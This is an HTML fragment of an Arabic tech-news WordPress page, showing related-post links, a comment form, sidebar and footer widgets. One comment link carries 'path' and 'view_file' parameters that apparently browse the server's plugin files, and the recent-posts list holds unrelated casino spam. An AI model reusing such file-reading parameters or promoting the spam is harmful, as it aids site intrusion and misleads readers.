https://tahkoom.com/wp-content/uploads/2025/06/img_1533-1-1024x576.jpg 1024w, https://tahkoom.com/wp-content/uploads/2025/06/img_1533-1-768x432.jpg 768w, https://tahkoom.com/wp-content/uploads/2025/06/img_1533-1.jpg 1280w" sizes="(max-width: 390px) 100vw, 390px" /></a>
								<h3 class="post-title"><a href="https://tahkoom.com/%d9%87%d9%84-%d9%8a%d8%b9%d9%85%d9%84-%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d8%a8%d8%af%d9%84%d8%a7-%d9%85%d9%86%d8%a7-%d8%9f%d9%85%d9%87%d9%86/">هل يعمل الذكاء الاصطناعي بدلا منا ؟مهن تتوارى  واخرى تنهض</a></h3>

								<div class="post-meta clearfix"><span class="date meta-item tie-icon">يونيو 9, 2025</span></div><!-- .post-meta -->							</div><!-- .related-item /-->

						
							<div class="related-item tie-standard">

								
			<a aria-label="وزير الاتصالات وتكنولوجيا المعلومات: نُخطط لمستقبل رقمي لا يعتمد على الورق”" href="https://tahkoom.com/%d9%88%d8%b2%d9%8a%d8%b1-%d8%a7%d9%84%d8%a7%d8%aa%d8%b5%d8%a7%d9%84%d8%a7%d8%aa-%d9%88%d8%aa%d9%83%d9%86%d9%88%d9%84%d9%88%d8%ac%d9%8a%d8%a7-%d8%a7%d9%84%d9%85%d8%b9%d9%84%d9%88%d9%85%d8%a7%d8%aa-2/" class="post-thumb"><img width="390" height="220" src="https://tahkoom.com/wp-content/uploads/2025/06/WhatsApp-Image-2025-06-05-at-22.00.21_2178f6d2-390x220.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="" decoding="async" /></a>
								<h3 class="post-title"><a href="https://tahkoom.com/%d9%88%d8%b2%d9%8a%d8%b1-%d8%a7%d9%84%d8%a7%d8%aa%d8%b5%d8%a7%d9%84%d8%a7%d8%aa-%d9%88%d8%aa%d9%83%d9%86%d9%88%d9%84%d9%88%d8%ac%d9%8a%d8%a7-%d8%a7%d9%84%d9%85%d8%b9%d9%84%d9%88%d9%85%d8%a7%d8%aa-2/">وزير الاتصالات وتكنولوجيا المعلومات: نُخطط لمستقبل رقمي لا يعتمد على الورق”</a></h3>

								<div class="post-meta clearfix"><span class="date meta-item tie-icon">يونيو 5, 2025</span></div><!-- .post-meta -->							</div><!-- .related-item /-->

						
							<div class="related-item tie-standard">

								
			<a aria-label="تكنولوجيا السيارات الذكية تفرض قواعد جديدة علي الطرق" href="https://tahkoom.com/%d8%a7%d9%84%d8%aa%d9%83%d9%86%d9%88%d9%84%d9%88%d8%ac%d9%8a%d8%a7-%d8%aa%d9%82%d8%aa%d8%ad%d9%85-%d8%a7%d9%84%d9%85%d8%af%d9%86-%d9%88%d8%aa%d8%ba%d9%8a%d8%b1-%d9%88%d8%ac%d9%87-%d8%a7%d9%84%d8%ad/" class="post-thumb"><img width="390" height="220" src="https://tahkoom.com/wp-content/uploads/2025/05/dd06991e-1a82-4cfe-b3f8-9eb438d33586-390x220.jpeg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="" decoding="async" /></a>
								<h3 class="post-title"><a href="https://tahkoom.com/%d8%a7%d9%84%d8%aa%d9%83%d9%86%d9%88%d9%84%d9%88%d8%ac%d9%8a%d8%a7-%d8%aa%d9%82%d8%aa%d8%ad%d9%85-%d8%a7%d9%84%d9%85%d8%af%d9%86-%d9%88%d8%aa%d8%ba%d9%8a%d8%b1-%d9%88%d8%ac%d9%87-%d8%a7%d9%84%d8%ad/">تكنولوجيا السيارات الذكية تفرض قواعد جديدة علي الطرق</a></h3>

								<div class="post-meta clearfix"><span class="date meta-item tie-icon">مايو 23, 2025</span></div><!-- .post-meta -->							</div><!-- .related-item /-->

						
							<div class="related-item tie-standard">

								
			<a aria-label="المصانع تستغني عن ايديها العاملة" href="https://tahkoom.com/%d8%a7%d9%84%d9%85%d8%b5%d8%a7%d9%86%d8%b9-%d8%aa%d8%b3%d8%aa%d8%ba%d9%86%d9%8a-%d8%b9%d9%86-%d8%a7%d9%8a%d8%af%d9%8a%d9%87%d8%a7-%d8%a7%d9%84%d8%b9%d8%a7%d9%85%d9%84%d8%a9/" class="post-thumb"><img width="390" height="220" src="https://tahkoom.com/wp-content/uploads/2025/05/مصانع-390x220.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="" decoding="async" /></a>
								<h3 class="post-title"><a href="https://tahkoom.com/%d8%a7%d9%84%d9%85%d8%b5%d8%a7%d9%86%d8%b9-%d8%aa%d8%b3%d8%aa%d8%ba%d9%86%d9%8a-%d8%b9%d9%86-%d8%a7%d9%8a%d8%af%d9%8a%d9%87%d8%a7-%d8%a7%d9%84%d8%b9%d8%a7%d9%85%d9%84%d8%a9/">المصانع تستغني عن ايديها العاملة</a></h3>

								<div class="post-meta clearfix"><span class="date meta-item tie-icon">مايو 20, 2025</span></div><!-- .post-meta -->							</div><!-- .related-item /-->

						
					</div><!-- .related-posts-list /-->
				</div><!-- #related-posts /-->

				<div id="comments" class="comments-area">

		

		<div id="add-comment-block" class="container-wrapper">	<div id="respond" class="comment-respond">
		<h3 id="reply-title" class="comment-reply-title the-global-title has-block-head-4">اترك تعليقاً <small><a rel="nofollow" id="cancel-comment-reply-link" href="/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet&#038;view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fakismet%2Fclass.akismet.php#respond" style="display:none;">إلغاء الرد</a></small></h3><form action="https://tahkoom.com/wp-comments-post.php" method="post" id="commentform" class="comment-form"><p class="comment-notes"><span id="email-notes">لن يتم نشر عنوان بريدك الإلكتروني.</span> <span class="required-field-message">الحقول الإلزامية مشار إليها بـ <span class="required">*</span></span></p><p class="comment-form-comment"><label for="comment">التعليق <span class="required">*</span></label> <textarea id="comment" name="comment" cols="45" rows="8" maxlength="65525" required></textarea></p><p class="comment-form-author"><label for="author">الاسم <span class="required">*</span></label> <input id="author" name="author" type="text" value="" size="30" maxlength="245" autocomplete="name" required /></p>
<p class="comment-form-email"><label for="email">البريد الإلكتروني <span class="required">*</span></label> <input id="email" name="email" type="email" value="" size="30" maxlength="100" aria-describedby="email-notes" autocomplete="email" required /></p>
<p class="comment-form-url"><label for="url">الموقع الإلكتروني</label> <input id="url" name="url" type="url" value="" size="30" maxlength="200" autocomplete="url" /></p>
<p class="comment-form-cookies-consent"><input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes" /> <label for="wp-comment-cookies-consent">احفظ اسمي، بريدي الإلكتروني، والموقع الإلكتروني في هذا المتصفح لاستخدامها المرة المقبلة في تعليقي.</label></p>
<p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="إرسال التعليق" /> <input type='hidden' name='comment_post_ID' value='3050' id='comment_post_ID' />
<input type='hidden' name='comment_parent' id='comment_parent' value='0' />
</p></form>	</div><!-- #respond -->
	</div><!-- #add-comment-block /-->
	</div><!-- .comments-area -->


	</div><!-- .post-components /-->

	
</div><!-- .main-content -->


	<div id="check-also-box" class="container-wrapper check-also-right">

		<div class="widget-title the-global-title has-block-head-4">
			<div class="the-subtitle">شاهد أيضاً</div>

			<a href="#" id="check-also-close" class="remove">
				<span class="screen-reader-text">إغلاق</span>
			</a>
		</div>

		<div class="widget posts-list-big-first has-first-big-post">
			<ul class="posts-list-items">

			
<li class="widget-single-post-item widget-post-list tie-standard">

			<div class="post-widget-thumbnail">

			
			<a aria-label="المصانع تستغني عن ايديها العاملة" href="https://tahkoom.com/%d8%a7%d9%84%d9%85%d8%b5%d8%a7%d9%86%d8%b9-%d8%aa%d8%b3%d8%aa%d8%ba%d9%86%d9%8a-%d8%b9%d9%86-%d8%a7%d9%8a%d8%af%d9%8a%d9%87%d8%a7-%d8%a7%d9%84%d8%b9%d8%a7%d9%85%d9%84%d8%a9/" class="post-thumb"><span class="post-cat-wrap"><span class="post-cat tie-cat-471">خطوة</span></span><img width="390" height="220" src="https://tahkoom.com/wp-content/uploads/2025/05/مصانع-390x220.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="" decoding="async" /></a>		</div><!-- post-alignleft /-->
	
	<div class="post-widget-body ">
		<a class="post-title the-subtitle" href="https://tahkoom.com/%d8%a7%d9%84%d9%85%d8%b5%d8%a7%d9%86%d8%b9-%d8%aa%d8%b3%d8%aa%d8%ba%d9%86%d9%8a-%d8%b9%d9%86-%d8%a7%d9%8a%d8%af%d9%8a%d9%87%d8%a7-%d8%a7%d9%84%d8%b9%d8%a7%d9%85%d9%84%d8%a9/">المصانع تستغني عن ايديها العاملة</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">مايو 20, 2025</span>		</div>
	</div>
</li>

			</ul><!-- .related-posts-list /-->
		</div>
	</div><!-- #related-posts /-->

	
	<aside class="sidebar tie-col-md-4 tie-col-xs-12 normal-side is-sticky" aria-label="القائمة الجانبية الرئيسية">
		<div class="theiaStickySidebar">
			<div id="social-5" class="container-wrapper widget social-icons-widget"><div class="widget-title the-global-title has-block-head-4"><div class="the-subtitle">مواقع التواصل الاجتماعي<span class="widget-title-icon tie-icon"></span></div></div><ul class="solid-social-icons"><li class="social-icons-item"><a class="social-link facebook-social-icon" rel="external noopener nofollow" target="_blank" href="https://www.facebook.com/share/1QKWyPHszc/?mibextid=wwXIfr"><span class="tie-social-icon tie-icon-facebook"></span><span class="screen-reader-text">فيسبوك</span></a></li><li class="social-icons-item"><a class="social-link instagram-social-icon" rel="external noopener nofollow" target="_blank" href="https://www.instagram.com/tahkom_?igsh=NGZzYjF0N3N3dWcy&#038;utm_source=qr"><span class="tie-social-icon tie-icon-instagram"></span><span class="screen-reader-text">انستقرام</span></a></li><li class="social-icons-item"><a class="social-link social-custom-link custom-link-1-social-icon" rel="external noopener nofollow" target="_blank" href="mailto:tahkoom@outlook.com"><span class="tie-social-icon fas fa-mail-bulk"></span><span class="screen-reader-text">البريد الالكتروني</span></a></li></ul> 
<div class="clearfix"></div><div class="clearfix"></div></div><!-- .widget /-->
			<div id="widget_tabs-1" class="container-wrapper tabs-container-wrapper tabs-container-3">
				<div class="widget tabs-widget">
					<div class="widget-container">
						<div class="tabs-widget">
							<div class="tabs-wrapper">

								<ul class="tabs">
									<li><a href="#widget_tabs-1-popular">الأشهر</a></li><li><a href="#widget_tabs-1-recent">الأخيرة</a></li>								</ul><!-- ul.tabs-menu /-->

								
											<div id="widget_tabs-1-popular" class="tab-content tab-content-popular">
												<ul class="tab-content-elements">
													
<li class="widget-single-post-item widget-post-list tie-standard">

			<div class="post-widget-thumbnail">

			
			<a aria-label="&#8220;الذكاء الاصطناعي :ثورة في عالم العلاج النفسي !&#8221;" href="https://tahkoom.com/%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d9%8a%d8%a8%d8%af%d8%af-%d8%b7%d8%a8%d9%8a%d8%a8%d9%83-%d8%a7%d9%84%d9%86%d9%81%d8%b3%d9%8a/" class="post-thumb"><img width="220" height="150" src="https://tahkoom.com/wp-content/uploads/2025/05/طبيب-220x150.jpg" class="attachment-jannah-image-small size-jannah-image-small tie-small-image wp-post-image" alt="" decoding="async" /></a>		</div><!-- post-alignleft /-->
	
	<div class="post-widget-body ">
		<a class="post-title the-subtitle" href="https://tahkoom.com/%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d9%8a%d8%a8%d8%af%d8%af-%d8%b7%d8%a8%d9%8a%d8%a8%d9%83-%d8%a7%d9%84%d9%86%d9%81%d8%b3%d9%8a/">&#8220;الذكاء الاصطناعي :ثورة في عالم العلاج النفسي !&#8221;</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">مايو 20, 2025</span>		</div>
	</div>
</li>

<li class="widget-single-post-item widget-post-list tie-standard">

			<div class="post-widget-thumbnail">

			
			<a aria-label="حكاية أول حوار مع روبوت : محمد طه يروى الكواليس" href="https://tahkoom.com/%d8%ad%d9%83%d8%a7%d9%8a%d8%a9-%d8%a3%d9%88%d9%84-%d8%ad%d9%88%d8%a7%d8%b1-%d9%85%d8%b9-%d8%b1%d9%88%d8%a8%d9%88%d8%aa-%d9%85%d8%ad%d9%85%d8%af-%d8%b7%d9%87-%d9%8a%d8%b1%d9%88%d9%89-%d8%a7%d9%84/" class="post-thumb"><img width="220" height="150" src="https://tahkoom.com/wp-content/uploads/2025/06/img_1871-1-220x150.png" class="attachment-jannah-image-small size-jannah-image-small tie-small-image wp-post-image" alt="" decoding="async" /></a>		</div><!-- post-alignleft /-->
	
	<div class="post-widget-body ">
		<a class="post-title the-subtitle" href="https://tahkoom.com/%d8%ad%d9%83%d8%a7%d9%8a%d8%a9-%d8%a3%d9%88%d9%84-%d8%ad%d9%88%d8%a7%d8%b1-%d9%85%d8%b9-%d8%b1%d9%88%d8%a8%d9%88%d8%aa-%d9%85%d8%ad%d9%85%d8%af-%d8%b7%d9%87-%d9%8a%d8%b1%d9%88%d9%89-%d8%a7%d9%84/">حكاية أول حوار مع روبوت : محمد طه يروى الكواليس</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">يونيو 5, 2025</span>		</div>
	</div>
</li>

<li class="widget-single-post-item widget-post-list tie-standard">

			<div class="post-widget-thumbnail">

			
			<a aria-label="تطور التكنولوجيا يطرح سؤالاً: ما مصير جوجل؟" href="https://tahkoom.com/%d8%aa%d8%b7%d9%88%d8%b1-%d8%a7%d9%84%d8%aa%d9%83%d9%86%d9%88%d9%84%d9%88%d8%ac%d9%8a%d8%a7-%d9%8a%d8%b7%d8%b1%d8%ad-%d8%b3%d8%a4%d8%a7%d9%84%d8%a7%d9%8b-%d9%85%d8%a7-%d9%85%d8%b5%d9%8a%d8%b1-%d8%ac/" class="post-thumb"><img width="220" height="150" src="https://tahkoom.com/wp-content/uploads/2025/06/shutterstock_2259165339-1684514998-e1710639710987-220x150.webp" class="attachment-jannah-image-small size-jannah-image-small tie-small-image wp-post-image" alt="" decoding="async" /></a>		</div><!-- post-alignleft /-->
	
	<div class="post-widget-body ">
		<a class="post-title the-subtitle" href="https://tahkoom.com/%d8%aa%d8%b7%d9%88%d8%b1-%d8%a7%d9%84%d8%aa%d9%83%d9%86%d9%88%d9%84%d9%88%d8%ac%d9%8a%d8%a7-%d9%8a%d8%b7%d8%b1%d8%ad-%d8%b3%d8%a4%d8%a7%d9%84%d8%a7%d9%8b-%d9%85%d8%a7-%d9%85%d8%b5%d9%8a%d8%b1-%d8%ac/">تطور التكنولوجيا يطرح سؤالاً: ما مصير جوجل؟</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">يونيو 4, 2025</span>		</div>
	</div>
</li>

<li class="widget-single-post-item widget-post-list tie-standard">

			<div class="post-widget-thumbnail">

			
			<a aria-label="&#8220;Ghibli Style&#8221;بين سحر الرسوم المتحركة ومخاطر الخصوصية" href="https://tahkoom.com/ghibli-style%d8%a8%d9%8a%d9%86-%d8%b3%d8%ad%d8%b1-%d8%a7%d9%84%d8%b1%d8%b3%d9%88%d9%85-%d8%a7%d9%84%d9%85%d8%aa%d8%ad%d8%b1%d9%83%d8%a9-%d9%88%d9%85%d8%ae%d8%a7%d8%b7%d8%b1-%d8%a7%d9%84%d8%ae/" class="post-thumb"><img width="220" height="150" src="https://tahkoom.com/wp-content/uploads/2025/05/بببب-220x150.jpg" class="attachment-jannah-image-small size-jannah-image-small tie-small-image wp-post-image" alt="" decoding="async" /></a>		</div><!-- post-alignleft /-->
	
	<div class="post-widget-body ">
		<a class="post-title the-subtitle" href="https://tahkoom.com/ghibli-style%d8%a8%d9%8a%d9%86-%d8%b3%d8%ad%d8%b1-%d8%a7%d9%84%d8%b1%d8%b3%d9%88%d9%85-%d8%a7%d9%84%d9%85%d8%aa%d8%ad%d8%b1%d9%83%d8%a9-%d9%88%d9%85%d8%ae%d8%a7%d8%b7%d8%b1-%d8%a7%d9%84%d8%ae/">&#8220;Ghibli Style&#8221;بين سحر الرسوم المتحركة ومخاطر الخصوصية</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">مايو 18, 2025</span>		</div>
	</div>
</li>

<li class="widget-single-post-item widget-post-list tie-standard">

			<div class="post-widget-thumbnail">

			
			<a aria-label="كيف يسرق الذكاء الاصطناعي مقاعد الصحفيين و المصممين؟" href="https://tahkoom.com/%d8%a7%d9%84%d8%b5%d8%ad%d8%a7%d9%81%d8%a9-%d9%88%d8%a7%d9%84%d8%ac%d8%b1%d8%a7%d9%81%d9%8a%d9%83-%d8%aa%d8%ad%d8%aa-%d9%85%d8%b8%d9%84%d8%a9-%d8%a7%d9%84%d8%ae%d8%b7%d8%b1/" class="post-thumb"><img width="220" height="150" src="https://tahkoom.com/wp-content/uploads/2025/05/aaa-220x150.png" class="attachment-jannah-image-small size-jannah-image-small tie-small-image wp-post-image" alt="" decoding="async" /></a>		</div><!-- post-alignleft /-->
	
	<div class="post-widget-body ">
		<a class="post-title the-subtitle" href="https://tahkoom.com/%d8%a7%d9%84%d8%b5%d8%ad%d8%a7%d9%81%d8%a9-%d9%88%d8%a7%d9%84%d8%ac%d8%b1%d8%a7%d9%81%d9%8a%d9%83-%d8%aa%d8%ad%d8%aa-%d9%85%d8%b8%d9%84%d8%a9-%d8%a7%d9%84%d8%ae%d8%b7%d8%b1/">كيف يسرق الذكاء الاصطناعي مقاعد الصحفيين و المصممين؟</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">مايو 18, 2025</span>		</div>
	</div>
</li>
												</ul>
											</div><!-- .tab-content#popular-posts-tab /-->

										
											<div id="widget_tabs-1-recent" class="tab-content tab-content-recent">
												<ul class="tab-content-elements">
													
<li class="widget-single-post-item widget-post-list tie-standard">

	
	<div class="post-widget-body no-small-thumbs">
		<a class="post-title the-subtitle" href="https://tahkoom.com/obzor-igr-na-pinko-kazino-ofitsialnyi-sait/">Обзор игр на пинко казино официальный сайт</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">منذ يوم واحد</span>		</div>
	</div>
</li>

<li class="widget-single-post-item widget-post-list tie-standard">

	
	<div class="post-widget-body no-small-thumbs">
		<a class="post-title the-subtitle" href="https://tahkoom.com/pinko-kazino-ofitsialnyi-sait-kliuchevye-aspekty-registratsii/">Пинко казино официальный сайт: ключевые аспекты регистрации</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">منذ يومين</span>		</div>
	</div>
</li>

<li class="widget-single-post-item widget-post-list tie-standard">

	
	<div class="post-widget-body no-small-thumbs">
		<a class="post-title the-subtitle" href="https://tahkoom.com/porozumeni-procesu-overeni-pro-mostbet-prihlaseni/">Porozumění procesu ověření pro Mostbet přihlášení</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">منذ يومين</span>		</div>
	</div>
</li>

<li class="widget-single-post-item widget-post-list tie-standard">

	
	<div class="post-widget-body no-small-thumbs">
		<a class="post-title the-subtitle" href="https://tahkoom.com/sravnenie-sportivnykh-lig-na-1khbet-ofitsialnom-saite/">Сравнение спортивных лиг на 1хбет официальном сайте</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">منذ يومين</span>		</div>
	</div>
</li>

<li class="widget-single-post-item widget-post-list tie-standard">

	
	<div class="post-widget-body no-small-thumbs">
		<a class="post-title the-subtitle" href="https://tahkoom.com/mostbet-d-balans-artirma-usullari-hansi-yollar-effektivdir/">Mostbet-də balans artırma üsulları: Hansı yollar effektivdir?</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">منذ 3 أيام</span>		</div>
	</div>
</li>
												</ul>
											</div><!-- .tab-content#recent-posts-tab /-->

										
							</div><!-- .tabs-wrapper-animated /-->
						</div><!-- .tabs-widget /-->
					</div><!-- .widget-container /-->
				</div><!-- .tabs-widget /-->
			</div><!-- .container-wrapper /-->
			<div id="stream-item-widget-1" class="widget stream-item-widget widget-content-only"><div class="stream-item-widget-content"><img class="widget-stream-image" src="https://tahkoom.com/wp-content/uploads/2025/05/تحكم.png" width="336" height="280" alt=""></div></div><div id="posts-list-widget-3" class="container-wrapper widget posts-list"><div class="widget-title the-global-title has-block-head-4"><div class="the-subtitle">اخر الاخبار المضافة<span class="widget-title-icon tie-icon"></span></div></div><div class="widget-posts-list-wrapper"><div class="widget-posts-list-container posts-list-half-posts" ><ul class="posts-list-items widget-posts-wrapper">
<li class="widget-single-post-item widget-post-list tie-standard">

	
	<div class="post-widget-body no-small-thumbs">
		<a class="post-title the-subtitle" href="https://tahkoom.com/%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d9%86%d8%b2%d9%84-%d8%a7%d9%84%d8%b4%d8%ba%d9%84-%d9%85%d9%87%d9%86-%d8%a8%d8%aa%d8%ae%d8%aa%d9%81/">الذكاء الاصطناعي نزل الشغل… مهن بتختفي ومهن بتتولد!</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">يونيو 13, 2025</span>		</div>
	</div>
</li>

<li class="widget-single-post-item widget-post-list tie-standard">

	
	<div class="post-widget-body no-small-thumbs">
		<a class="post-title the-subtitle" href="https://tahkoom.com/%d8%ac%d9%88%d9%84%d8%a9-%d8%af%d8%a7%d8%ae%d9%84-%d8%a7%d9%84%d8%ba%d8%b1%d9%81%d8%a9-%d8%a7%d9%84%d8%aa%d9%8a-%d8%aa%d9%8f%d9%81%d9%83%d9%91%d8%b1-%d9%85%d9%86-%d8%aa%d9%84%d9%82%d8%a7%d8%a1-%d9%86/">جولة داخل الغرفة التي تُفكّر من تلقاء نفسها في BBC… ما لا تراه الكاميرات عن صناعة الأخبار بلا بشر</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">يونيو 13, 2025</span>		</div>
	</div>
</li>

<li class="widget-single-post-item widget-post-list tie-standard">

	
	<div class="post-widget-body no-small-thumbs">
		<a class="post-title the-subtitle" href="https://tahkoom.com/%d8%a3%d9%84%d8%b9%d8%a7%d8%a8-%d8%a7%d9%84%d9%88%d8%a7%d9%82%d8%b9-%d8%a7%d9%84%d8%a7%d9%81%d8%aa%d8%b1%d8%a7%d8%b6%d9%8a-%d8%b1%d8%ad%d9%84%d8%a9-%d8%a5%d9%84%d9%89-%d8%b9%d9%88%d8%a7/">“ألعاب الواقع الافتراضي: رحلة إلى عوالم تفاعلية غامرة”</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">يونيو 12, 2025</span>		</div>
	</div>
</li>

<li class="widget-single-post-item widget-post-list tie-standard">

			<div class="post-widget-thumbnail">

			
			<a aria-label="العاب العالم الرقمي تدفع الأطفال إلى تقمص الهويات الزائفة" href="https://tahkoom.com/%d8%a7%d9%84%d8%b9%d8%a7%d8%a8-%d8%a7%d9%84%d8%b9%d8%a7%d9%84%d9%85-%d8%a7%d9%84%d8%b1%d9%82%d9%85%d9%8a-%d8%aa%d8%af%d9%81%d8%b9-%d8%a7%d9%84%d8%a3%d8%b7%d9%81%d8%a7%d9%84-%d8%a5%d9%84%d9%89-%d8%aa/" class="post-thumb"><img width="267" height="188" src="https://tahkoom.com/wp-content/uploads/2025/06/download-4.jpeg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="" decoding="async" /></a>		</div><!-- post-alignleft /-->
	
	<div class="post-widget-body ">
		<a class="post-title the-subtitle" href="https://tahkoom.com/%d8%a7%d9%84%d8%b9%d8%a7%d8%a8-%d8%a7%d9%84%d8%b9%d8%a7%d9%84%d9%85-%d8%a7%d9%84%d8%b1%d9%82%d9%85%d9%8a-%d8%aa%d8%af%d9%81%d8%b9-%d8%a7%d9%84%d8%a3%d8%b7%d9%81%d8%a7%d9%84-%d8%a5%d9%84%d9%89-%d8%aa/">العاب العالم الرقمي تدفع الأطفال إلى تقمص الهويات الزائفة</a>

		<div class="post-meta">
			<span class="date meta-item tie-icon">يونيو 12, 2025</span>		</div>
	</div>
</li>
</ul></div></div><div class="clearfix"></div></div><!-- .widget /-->		</div><!-- .theiaStickySidebar /-->
	</aside><!-- .sidebar /-->
	</div><!-- .main-content-row /--></div><!-- #content /-->
<footer id="footer" class="site-footer dark-skin dark-widgetized-area">

	
			<div id="footer-widgets-container">
				<div class="container">
					
		<div class="footer-widget-area ">
			<div class="tie-row">

									<div class="tie-col-sm-4 normal-side">
						<div id="archives-3" class="container-wrapper widget widget_archive"><div class="widget-title the-global-title has-block-head-4"><div class="the-subtitle">ارشيف تحكم<span class="widget-title-icon tie-icon"></span></div></div>		<label class="screen-reader-text" for="archives-dropdown-3">ارشيف تحكم</label>
		<select id="archives-dropdown-3" name="archive-dropdown">
			
			<option value="">اختر شهر</option>
				<option value='https://tahkoom.com/2026/02/'> فبراير 2026 </option>
	<option value='https://tahkoom.com/2025/10/'> أكتوبر 2025 </option>
	<option value='https://tahkoom.com/2025/06/'> يونيو 2025 </option>
	<option value='https://tahkoom.com/2025/05/'> مايو 2025 </option>

		</select>

			<script type="text/javascript">
/* <![CDATA[ */

(function() {
	var dropdown = document.getElementById( "archives-dropdown-3" );
	function onSelectChange() {
		if ( dropdown.options[ dropdown.selectedIndex ].value !== '' ) {
			document.location.href = this.options[ this.selectedIndex ].value;
		}
	}
	dropdown.onchange = onSelectChange;
})();

/* ]]> */
</script>
<div class="clearfix"></div></div><!-- .widget /--><div id="categories-4" class="container-wrapper widget widget_categories"><div class="widget-title the-global-title has-block-head-4"><div class="the-subtitle">تصفح بالتصنيف<span class="widget-title-icon tie-icon"></span></div></div><form action="https://tahkoom.com" method="get"><label class="screen-reader-text" for="cat">تصفح بالتصنيف</label><select  name='cat' id='cat' class='postform'>
	<option value='-1'>اختر التصنيف</option>
	<option class="level-0" value="904">casino</option>
	<option class="level-0" value="470">تفاعل</option>
	<option class="level-0" value="900">خدمة</option>
	<option class="level-0" value="471">خطوة</option>
	<option class="level-0" value="1">غير مصنف</option>
	<option class="level-0" value="469">معرفة</option>
	<option class="level-0" value="467">ميديا</option>
</select>
</form><script type="text/javascript">
/* <![CDATA[ */

(function() {
	var dropdown = document.getElementById( "cat" );
	function onCatChange() {
		if ( dropdown.options[ dropdown.selectedIndex ].value > 0 ) {
			dropdown.parentNode.submit();
		}
	}
	dropdown.onchange = onCatChange;
})();

/* ]]> */
</script>
<div class="clearfix"></div></div><!-- .widget /--><div id="categories-3" class="container-wrapper widget widget_categories"><div class="widget-title the-global-title has-block-head-4"><div class="the-subtitle">تصنيفات<span class="widget-title-icon tie-icon"></span></div></div>
			<ul>
					<li class="cat-item cat-item-904"><a href="https://tahkoom.com/category/casino/">casino</a> (2)
</li>
	<li class="cat-item cat-item-470"><a href="https://tahkoom.com/category/%d8%aa%d9%81%d8%a7%d8%b9%d9%84/">تفاعل</a> (11)
</li>
	<li class="cat-item cat-item-900"><a href="https://tahkoom.com/category/%d8%ae%d8%af%d9%85%d8%a9/">خدمة</a> (8)
</li>
	<li class="cat-item cat-item-471"><a href="https://tahkoom.com/category/%d8%ae%d8%b7%d9%88%d8%a9/">خطوة</a> (6)
</li>
	<li class="cat-item cat-item-1"><a href="https://tahkoom.com/category/%d8%ba%d9%8a%d8%b1-%d9%85%d8%b5%d9%86%d9%81/">غير مصنف</a> (22)
</li>
	<li class="cat-item cat-item-469"><a href="https://tahkoom.com/category/%d9%85%d8%b9%d8%b1%d9%81%d8%a9/">معرفة</a> (9)
</li>
	<li class="cat-item cat-item-467"><a href="https://tahkoom.com/category/%d9%85%d9%8a%d8%af%d9%8a%d8%a7/">ميديا</a> (5)
</li>
			</ul>

			<div class="clearfix"></div></div><!-- .widget /-->					</div><!-- .tie-col /-->
				
									<div class="tie-col-sm-4 normal-side">
						<div id="posts-list-widget-2" class="container-wrapper widget posts-list"><div class="widget-title the-global-title has-block-head-4"><div class="the-subtitle">اخر الاخبار المضافة<span class="widget-title-icon tie-icon"></span></div></div><div class="widget-posts-list-wrapper"><div class="widget-posts-list-container posts-pictures-widget" ><div class="tie-row widget-posts-wrapper">						<div class="widget-single-post-item tie-col-xs-4 tie-standard">
							
			<a aria-label="رواية “موسم صيد الغزلان “أدب يقرأ الغد: فكيف توقّعت رواية مراد تقنيات اليوم؟" href="https://tahkoom.com/%d8%b1%d9%88%d8%a7%d9%8a%d8%a9-%d9%85%d9%88%d8%b3%d9%85-%d8%b5%d9%8a%d8%af-%d8%a7%d9%84%d8%ba%d8%b2%d9%84%d8%a7%d9%86-%d8%a3%d8%af%d8%a8-%d9%8a%d9%82%d8%b1%d8%a3-%d8%a7%d9%84%d8%ba/" class="post-thumb"><img width="187" height="220" src="https://tahkoom.com/wp-content/uploads/2025/06/WhatsApp-Image-2025-06-14-at-00.40.02_f48dd5c9-187x220.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="" decoding="async" /></a>						</div>
												<div class="widget-single-post-item tie-col-xs-4 tie-standard">
							
